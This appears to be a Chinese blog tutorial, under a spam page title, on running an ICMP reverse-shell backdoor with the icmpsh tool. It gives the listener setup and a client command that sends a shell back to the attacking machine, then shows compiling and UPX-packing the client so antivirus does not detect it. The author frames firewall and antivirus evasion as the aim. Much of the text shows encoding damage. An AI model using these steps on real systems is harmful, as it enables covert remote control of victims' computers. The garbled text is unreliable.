压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

劍走偏鋒:細(xì)數(shù)Shell那些事

  說到Shell,我想大家恐怕都不會(huì)太陌生。不僅如此,我想大家應(yīng)該有不少自己的珍藏吧(有珍藏的可以私信我,咱們私聊:P)

  按平臺(tái)分類的話,基本上大體可以分為兩大類:針對(duì)web級(jí)別的和針對(duì)系統(tǒng)級(jí)別的。針對(duì)web的大體根據(jù)語言不同又分為PHP、JSP、ASP等(這讓我不由得想起了那些年,大牛們寫過的各種后門……),針對(duì)系統(tǒng)級(jí)別的一般分為:windows后門和基于unix的后門,不過到現(xiàn)在為止我并沒有見過apple后門,大概,是因?yàn)槲腋F吧。

  言歸正傳,今天我要跟大家聊的東西,是針對(duì)系統(tǒng)的Shell后門。煩請(qǐng)大牛不要噴我,覺得文章水的可以直接略過不談。

  0×01 我先分個(gè)類

  這里我按照協(xié)議不同來分類。

  首先,是基于TCP UDP協(xié)議的shell

  這類shell已經(jīng)遍地都是,而且功能也越來越強(qiáng)大,因?yàn)榛谶@兩種協(xié)議的木馬通信能力更強(qiáng)。當(dāng)然樹大易招風(fēng),關(guān)于這類shell后門也越來越多的受到安全廠商的關(guān)注,造成的結(jié)果是這類木馬一般都是產(chǎn)業(yè)級(jí)的進(jìn)行免殺操作,使用之后被殺毒軟件截獲便失去效用,需要重新做免殺。而這玩意兒略貴。所以一般的個(gè)人想玩玩又不懂免殺的根本玩不起。

  其次,是基于ICMP協(xié)議的shell

  我們都知道,通信協(xié)議無外乎TCP UDP ICMP了,既然前兩種玩不起我們就來看看ICMP怎么樣。

  既然是通信協(xié)議嘛,肯定是可以發(fā)送數(shù)據(jù)的,那么我們來看看一個(gè)PING究竟發(fā)送了什么數(shù)據(jù):

  從圖上就可以清晰看出來了。第一張是windows ping的時(shí)候發(fā)送的數(shù)據(jù),第二張圖是linux的ping的時(shí)候發(fā)送的數(shù)據(jù),還是有點(diǎn)差距的,嗯。

  通過以上證據(jù)就可以證明ICMP協(xié)議通信是可以帶著我們想要的數(shù)據(jù)飛的,最起碼理論上是可行的。

  然后,是基于DNS解析的shell

  除去三種協(xié)議以外,還有一種是基于DNS解析的后門shell。之前我記得有人發(fā)過一種劍(wei)走(suo)偏(zhi)鋒(ji)的CMCC(或者Chinanet)的不登陸的上網(wǎng)方式,用的就是DNS;之前還有一個(gè)木馬就是用這種方式來傳數(shù)據(jù)的,那場(chǎng)面,更加猥瑣,簡直不忍直視。。

  這里DNS解析后門自然是有好處的,就是極不容易被察覺,但是自然也有缺點(diǎn),那就是數(shù)據(jù)走得慢。這個(gè)慢,不是一般的慢,總的說來,你要是想用高級(jí)功能比如桌面控制,呵呵,基本不可能,而且實(shí)施起來也略微復(fù)雜。所以這次我們暫且不講,以后再討論。

  按照協(xié)議分完了,我們?cè)侔凑者B接方式分一下

  按照連接方式,分為主動(dòng)連接和被動(dòng)連接,主動(dòng)連接是Bind Shell,被動(dòng)連接是Reverse Shell,這個(gè)我想大家也應(yīng)該很熟悉了。這里上幾張圖簡要做一下解釋(圖片來源于網(wǎng)絡(luò))

  由攻擊機(jī)主動(dòng)連接受害主機(jī),這種我們叫做Bind Shell,缺點(diǎn)是易被攔截易掉線。

  由被攻擊主機(jī)主動(dòng)連接攻擊機(jī)器,這種我們叫做Reverse Shell,是目前主流的Shell使用的類型,缺點(diǎn)是需要攻擊機(jī)器有固定的公網(wǎng)IP,優(yōu)點(diǎn)是不用擔(dān)心目標(biāo)機(jī)器的動(dòng)態(tài)IP導(dǎo)致掉線問題。

  但是,不管是Bind Shell還是Reverse Shell,因?yàn)榛赥CP或者UDP,防火墻很敏感,容易被防火墻攔截,即便是我們的后門已經(jīng)經(jīng)過了殺軟的考驗(yàn),可能也會(huì)在這一輪中折掉,導(dǎo)致我們的后門安插失敗。

  今天我們要跟大家分享的是:ICMP Reverse Shell

  0×02 測(cè)試平臺(tái)簡介

  首先,我們得挑一個(gè)ICMP的通信Shell,當(dāng)然自己寫也是可以的。平臺(tái)的原理是其實(shí)還是通信,利用ICMP通信協(xié)議,將我們想要執(zhí)行的shell命令通過服務(wù)端傳給客戶端,然后客戶端將執(zhí)行之后得到的數(shù)據(jù)通過ICMP包傳回來,服務(wù)端負(fù)責(zé)接收然后回顯。

  這里我們挑取git的一個(gè)ICMP Shell項(xiàng)目進(jìn)行實(shí)際操作。

  先把項(xiàng)目取回本地

  git clone https://github.com/inquisb/icmpsh.git /opt/icmp_reverse_shell

  拿下來之后,我們可以看到這里面的文件了。這里面所有的東西都是開源的,方便我們看詳細(xì)原理。其實(shí)文件中主要起作用的主要是兩個(gè)文件,icmpsh_m.py和icmpsh.exe,其中icmpsh_m.py是服務(wù)端需要執(zhí)行的python腳本,icmpsh.exe是客戶端需要執(zhí)行的腳本。還有一個(gè)icmpsh-s.c的slave客戶端的源代碼文件,有興趣的同學(xué)可以看一下。除此之外,還有一個(gè)run.sh的BASH文件,文件內(nèi)容大家可以自己看,主要就是如果你忘了配置什么東西他會(huì)事先配置好,最終起作用的還是icmpsh_m.py,所以最后服務(wù)端我們就用run.sh就好了

  0×03 演練

  說了這么多,下面我們開始玩真的。

  先說服務(wù)端:

  運(yùn)行run.sh

  ./run.sh

  然后我們根據(jù)提示輸入IP,這里IP應(yīng)該是公網(wǎng)IP,但是這里使用的是內(nèi)網(wǎng),所以我們輸入C段IP,然后回車,我們就可以看到這樣的提示:

  這樣服務(wù)端就配置好了,正在監(jiān)聽狀態(tài)。

  下面是客戶端:

  我們打開靶機(jī)的cmd,輸入命令:

  icmpsh.exe -t 192.168.246.129 -d 500 -b 30 -s 128

  攻擊機(jī)這邊就成功拿到shell了

  到這里,基本上想做什么就沒問題了。

  Shell中執(zhí)行的命令已經(jīng)被執(zhí)行,但是靶機(jī)完全沒反應(yīng)

  下面是玩耍時(shí)間,這個(gè)時(shí)候靶機(jī)ping一下攻擊機(jī),就發(fā)現(xiàn)攻擊機(jī)收到了靶機(jī)的ping的聊騷內(nèi)容,居然還有“hi”,掩面///…

  使用wireshark截個(gè)包看一下,嗯,數(shù)據(jù)全出來了,好赤果果

  實(shí)操就這樣。

  0×04 關(guān)于Shell客戶端

  首先一個(gè)問題是Shell客戶端的運(yùn)行平臺(tái)問題,很明顯,客戶端是只針對(duì)于windows平臺(tái)的,Server是跨平臺(tái)的。

  然后就是客戶端的來源,當(dāng)然大家可以使用作者在git上面給出的exe,也可以自己檢查源代碼文件然后自行編譯加殼,編譯的過程如下(這里只說linux的編譯過程):

  首先安裝mingw,這是編譯的關(guān)鍵

  sudo apt-get update

  sudo apt-get install gcc-mingw32

  過程中計(jì)算機(jī)會(huì)將其余附加包一起裝好我們就不操心了。

  安裝好之后就是編譯

  i686-w64-mingw32-gcc icmpsh-s.c -o icmp-slave.exe

  然后我們可以用upx加個(gè)殼

  upx -v icmp-slave.exe -o icmp-slave-upx.exe

  這樣一個(gè)客戶端就成型了,我們可以看出來壓縮率大約在56%左右,壓縮完之后大小56K左右。

  其實(shí)除了以上問題之外,我想大家最關(guān)心的就應(yīng)該是殺軟對(duì)Shell的反應(yīng)了吧。細(xì)心的小伙伴應(yīng)該發(fā)現(xiàn)了,在上面的圖里,我的靶機(jī)是全程運(yùn)行著360進(jìn)行的實(shí)驗(yàn)(不是刻意為之,是之前做測(cè)試的時(shí)候靶機(jī)就裝上了,這次沒關(guān)),其實(shí)不只是360,到目前寫本文章之前,絕大部分殺軟都沒有報(bào)毒。當(dāng)然,這里我說的是我自己生成的客戶端,至于git上自帶的客戶端,國內(nèi)殺毒軟件還是基本上都檢測(cè)出來了。

  可是我可憐的小a啊。。

  至于更全面的測(cè)試,我這里貼上virustotal.com的結(jié)果:

  首先是關(guān)于git上自帶的客戶端,我們發(fā)現(xiàn)大多數(shù)國內(nèi)廠商都報(bào)毒了,看到這里我表示很欣慰。:)

  然后我再拿我自己生成的加過殼的exe看一下,咦這是什么情況。。。

  然后我們?cè)倏纯磩偩幾g出來熱乎的,好像就更奇怪了。。

  看來是殺毒軟件對(duì)upx現(xiàn)在是越來越敏感了,加個(gè)殼都不饒過。至于其他的奇怪現(xiàn)象。。。咦?飛碟!

  0×05 后記

  寫到這里,ICMP反向Shell介紹也就告一段落了,東西確實(shí)不是新東西,技術(shù)也沒有多復(fù)雜,不過重點(diǎn)在于思路,在于以此為基礎(chǔ)實(shí)現(xiàn)的更多更好(wei)玩(suo)的玩法。這次的交流就到這里,有更多更好的更猥瑣的玩法的同學(xué),歡迎聊騷私信。:P

  期待更多的關(guān)于技術(shù)的交流,我是小花,我喂自己袋鹽。

 

上一篇:智能無懼挑戰(zhàn) 山石網(wǎng)科轟動(dòng)RSA2015

下一篇:蘋果惡意軟件WireLurker鎖定Mac OS X和iOS設(shè)備